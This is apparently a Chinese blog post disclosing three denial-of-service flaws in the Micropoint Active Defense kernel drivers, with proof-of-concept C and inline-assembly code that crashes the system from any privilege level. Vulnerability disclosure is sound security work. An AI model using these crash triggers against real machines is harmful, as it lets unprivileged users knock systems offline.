微点主动防御(version20080924及以下)多个拒绝服务漏洞之三

作者:MJ0011

继续爆三个漏洞,微点一直没反映啊~看来都度假去了 这样可不行啊 病毒木马可是不休假的哦 O(∩_∩)O哈哈~

(1).微点对NtWriteFile-> Call ObReferenceObjectByHandle的HOOK中未对参数做有效性检查,可导致任意权限用户在安装了微点的系统上可引发系统蓝屏

存在漏洞的文件:mp110011.sys,版本:1.2.10237,CheckSum = 0x0002291a , TimeStamp = 0x488944d9

微点hook了NtWriteFile-> Call ObReferenceObjectByHandle并对其中的FileHandle进行检查,检查对应的设备对象->驱动对象是否是Disk,如果是的话,判断写入的偏移,进行阻截或放行

其中hook函数使用读取外层函数(NtWriteFile)保存的栈指针(ebp)来读取外层函数的参数pByteOffset,但未对该参数做有效性检查,就直接使用,导致了攻击的可能

使用以下代码即可在任意用户权限在使安装了微点的系统蓝屏:

HMODULE hlib = LoadLibrary(“ntdll.dll”);
PVOID p = GetProcAddress(hlib , “ZwWriteFile”);

HANDLE hfile = CreateFile(“\\\\.\\PhysicalDrive0” , FILE_WRITE_DATA , 0 , 0 , OPEN_EXISTING , 0 , 0 );
if (hfile != INVALID_HANDLE_VALUE)
{
__asm
{
push 0
push 1 //->pByteOffset,cannot be zero
push 0
push 0
push 0
push 0
push 0
push 0
push hfile
call p

}
}

(2).微点在对NtOpenProcess的头部inline hook中,未进行任何参数检查就直接使用参数,导致任意权限用户可引发安装了微点的系统蓝屏

mp110013.sys(版本1.2.10126.0, CheckSum = 0x0000FDB7 , TimeStamp = 0x4859C30E)

在其处理函数中未做任何参数检查,直接使用了参数pClientId 的缓存地址,也没有结构化异常处理,因此直接传递0地址即可使系统蓝屏

测试代码:

HMODULE hlib = LoadLibrary(“ntdll.dll”);
PVOID p = GetProcAddress(hlib , “NtOpenProcess”);

__asm{
push 0
push 0
push 1 //access must have “PROCESS_TERMINATE”
push 0
call p

}

(3).微点对于NtCreateThread的HOOK处理中存在拒绝服务漏洞,可导致任何权限用户在安装了微点的系统上引发蓝屏

mp110013.sys(版本1.2.10126.0, CheckSum = 0x0000FDB7 , TimeStamp = 0x4859C30E)

在其函数中未对参数pContext做任何检查,就使用该参数,并且没有使用任何结构化异常处理,因此只要传0就可以导致蓝屏

测试代码:

HMODULE hlib = LoadLibrary(“ntdll.dll”);
PVOID p = GetProcAddress(hlib , “NtCreateThread”);

__asm{

push 1 //need createsuspend:)
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call p

}

相关日志

发表评论